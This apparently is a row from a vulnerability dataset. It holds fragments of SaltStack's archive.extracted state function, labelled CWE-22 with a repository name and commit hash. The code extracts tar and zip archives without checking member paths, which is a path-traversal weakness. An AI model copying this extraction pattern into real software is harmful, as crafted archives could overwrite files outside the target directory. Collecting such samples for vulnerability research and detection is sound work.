                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    # Check to see if we need to extract the archive. Using os.stat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    extraction_needed = overwrite

    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.stat(if_missing)
                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            for path_list, func in ((contents['dirs'], stat.S_ISDIR),
                                    (contents['files'], stat.S_ISREG)):
                for path in path_list:
                    full_path = os.path.join(name, path)
                    try:
                        path_mode = os.stat(full_path.rstrip(os.sep)).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                        elif exc.errno != errno.ENOTDIR:
                            # In cases where a directory path was occupied by a
                            # file instead, all os.stat() calls to files within
                            # that dir will raise an ENOTDIR OSError. So we
                            # expect these and will only abort here if the
                            # error code is something else.
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                incorrect_paths = '\n\n' + '\n'.join(
                    ['- {0}'.format(x) for x in incorrect_type]
                )
                ret['comment'] = (
                    'The below paths (relative to {0}) exist, but are the '
                    'incorrect type (i.e. file instead of directory or '
                    'vice-versa).'.format(name)
                )
                if __opts__['test'] and clean and contents is not None:
                    ret['result'] = None
                    ret['comment'] += (
                        ' Since the \'clean\' option is enabled, the '
                        'destination paths would be cleared and the '
                        'archive would be extracted.{0}'.format(
                            incorrect_paths
                        )
                    )
                    return ret

                # Skip notices of incorrect types if we're cleaning
                if not (clean and contents is not None):
                    if not force:
                        ret['comment'] += (
                            'To proceed with extraction, set \'force\' to '
                            'True. Note that this will remove these paths '
                            'before extracting.{0}'.format(incorrect_paths)
                        )
                        return ret
                    else:
                        errors = []
                        for path in incorrect_type:
                            full_path = os.path.join(name, path)
                            try:
                                salt.utils.rm_rf(full_path.rstrip(os.sep))
                                ret['changes'].setdefault(
                                    'removed', []).append(full_path)
                            except OSError as exc:
                                if exc.errno != errno.ENOENT:
                                    errors.append(exc.__str__())
                        if errors:
                            msg = (
                                'One or more paths existed by were the incorrect '
                                'type (i.e. file instead of directory or '
                                'vice-versa), but could not be removed. The '
                                'following errors were observed:\n'
                            )
                            for error in errors:
                                msg += '\n- {0}'.format(error)
                            ret['comment'] = msg
                            return ret

    created_destdir = False

    if extraction_needed:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    source_match,
                    name
                )
            if clean and contents is not None:
                ret['comment'] += ', after cleaning destination path(s)'
            return ret

        if clean and contents is not None:
            errors = []
            log.debug('Cleaning archive paths from within %s', name)
            for path in contents['top_level_dirs'] + contents['top_level_files']:
                full_path = os.path.join(name, path)
                try:
                    log.debug('Removing %s', full_path)
                    salt.utils.rm_rf(full_path.rstrip(os.sep))
                    ret['changes'].setdefault(
                        'removed', []).append(full_path)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        errors.append(exc.__str__())

            if errors:
                msg = (
                    'One or more paths could not be cleaned. The following '
                    'errors were observed:\n'
                )
                for error in errors:
                    msg += '\n- {0}'.format(error)
                ret['comment'] = msg
                return ret

        if not os.path.isdir(name):
            __salt__['file.makedirs'](name, user=user)
            created_destdir = True

        log.debug('Extracting {0} to {1}'.format(cached_source, name))
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    try:
                        files = __salt__['archive.cmd_unzip'](
                            cached_source,
                            name,
                            options=options,
                            trim_output=trim_output,
                            password=password,
                            **kwargs)
                    except (CommandExecutionError, CommandNotFoundError) as exc:
                        ret['comment'] = exc.strerror
                        return ret
                else:
                    files = __salt__['archive.unzip'](cached_source,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      **kwargs)
            elif archive_format == 'rar':
                try:
                    files = __salt__['archive.unrar'](cached_source,
                                                      name,
                                                      trim_output=trim_output,
                                                      **kwargs)
                except (CommandExecutionError, CommandNotFoundError) as exc:
                    ret['comment'] = exc.strerror
                    return ret
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached_source, 'r')) as tar:
                            tar.extractall(name)
                            files = tar.getnames()
                    except tarfile.ReadError:
                        if salt.utils.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-l', cached_source],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using XZ Utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached_source)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    if not salt.utils.which('tar'):
                        ret['comment'] = (
                            'tar command not available, it might not be '
                            'installed on minion'
                        )
                        return ret

                    tar_opts = shlex.split(options)

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached_source])

                    results = __salt__['cmd.run_all'](tar_cmd,
                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            enforce_dirs = [enforce_ownership_on]
            enforce_files = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __salt__['state.single']('file.directory',
                                                      full_path,
                                                      user=user,
                                                      group=group,
                                                      recurse=recurse,
                                                      test=__opts__['test'])
                try:
                    dir_result = dir_result[next(iter(dir_result))]
                except AttributeError:
                    pass
                log.debug('file.directory: %s', dir_result)

                if __opts__['test']:
                    if dir_result.get('pchanges'):
                        ret['changes']['updated ownership'] = True
                else:
                    try:
                        if dir_result['result']:
                            if dir_result['changes']:
                                ret['changes']['updated ownership'] = True
                        else:
                            enforce_failed.append(full_path)
                    except (KeyError, TypeError):
                        log.warning(
                            'Bad state return %s for file.directory state on %s',
                            dir_result, dirname
                        )

        for filename in enforce_files:
            full_path = os.path.join(name, filename)
            try:
                # Using os.stat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.stat directly will speed
                # things up a bit.
                file_stat = os.stat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.chown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if len(files) > 0:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(source_match, name)
            if not keep:
                log.debug('Cleaning cached source file %s', cached_source)
                try:
                    os.remove(cached_source)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        log.error(
                            'Failed to clean cached source file %s: %s',
                            cached_source, exc.__str__()
                        )
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'Can\'t extract content of {0}'.format(source_match)

    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_levle dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    return ret",CWE-22,saltstack/salt,fd32dc3e9b273bb3c47e24783200e022a47b207d,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              overwrite=False,
              clean=False,
              user=None,
              group=None,
              if_missing=None,
              keep=False,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **ZIP Archive Handling**

        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Password-protected ZIP Archives* (only supported by
          :py:func:`archive.unzip <salt.modules.archive.unzip>`) -
          :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` is not
          be permitted to extract password-protected ZIP archives, as
          attempting to do so will cause the unzip command to block on user
          input. The :py:func:`archive.is_encrypted
          <salt.modules.archive.unzip>` function will be used to determine if
          the archive is password-protected. If it is, then the ``password``
          argument will be required for the state to proceed. If
          ``use_cmd_unzip`` is specified and set to ``True``, then the state
          will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.0

    source_hash_update
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite exsiting files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
            The ``tar_options`` and ``zip_options`` parameters have been
            deprecated in favor of a single argument name.
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using the xz_ CLI command and extracted using ``tar
            xvf``. This is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    tar_options
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    zip_options
        .. versionadded:: 2016.3.1
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of the xz_ CLI command) are supported automatically. However, for
        archives compressed using other compression types, CLI options must be
        passed to :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    overwrite : False
        Set this to ``True`` to force the archive to be extracted. This is
        useful for cases where the filenames/directories have not changed, but
        the content of the files have.

        .. versionadded:: 2016.11.1

    clean : False
        Set this to ``True`` to remove any top-level files and recursively
        remove any top-level directory paths before extracting.

        .. note::
            Files will only be cleaned first if extracting the archive is
            deemed necessary, either by paths missing on the minion, or if
            ``overwrite`` is set to ``True``.

        .. versionadded:: 2016.11.1

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    keep : False
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. After extraction, these source archives will be removed
        unless this argument is set to ``True``.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - tar_options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.clean_kwargs(**kwargs)

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if not name:
            # Empty name, like None, '' etc.
            ret['comment'] = 'Name of the directory path needs to be specified'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip('/')
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += os.sep
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if user or group:
        if salt.utils.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if uid == '':
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if gid == '':
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    source_hash_basename = urlparsed_source.path or urlparsed_source.netloc

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guesseed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    tar_options = kwargs.pop('tar_options', None)
    zip_options = kwargs.pop('zip_options', None)
    if tar_options:
        msg = ('The \'tar_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = tar_options
    elif zip_options:
        msg = ('The \'zip_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = zip_options

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
            if use_cmd_unzip:
                if 'archive.cmd_unzip' not in __salt__:
                    ret['comment'] = (
                        'archive.cmd_unzip function not available, unzip might '
                        'not be installed on minion'
                    )
                    return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    if archive_format == 'rar':
        if 'archive.unrar' not in __salt__:
            ret['comment'] = (
                'archive.unrar function not available, rar/unrar might '
                'not be installed on minion'
            )
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output and not isinstance(trim_output, (bool, six.integer_types)):
        try:
            # Try to handle cases where trim_output was passed as a
            # string-ified integer.
            trim_output = int(trim_output)
        except TypeError:
            ret['comment'] = (
                'Invalid value for trim_output, must be True/False or an '
                'integer'
            )
            return ret

    cached_source = os.path.join(
        __opts__['cachedir'],
        'files',
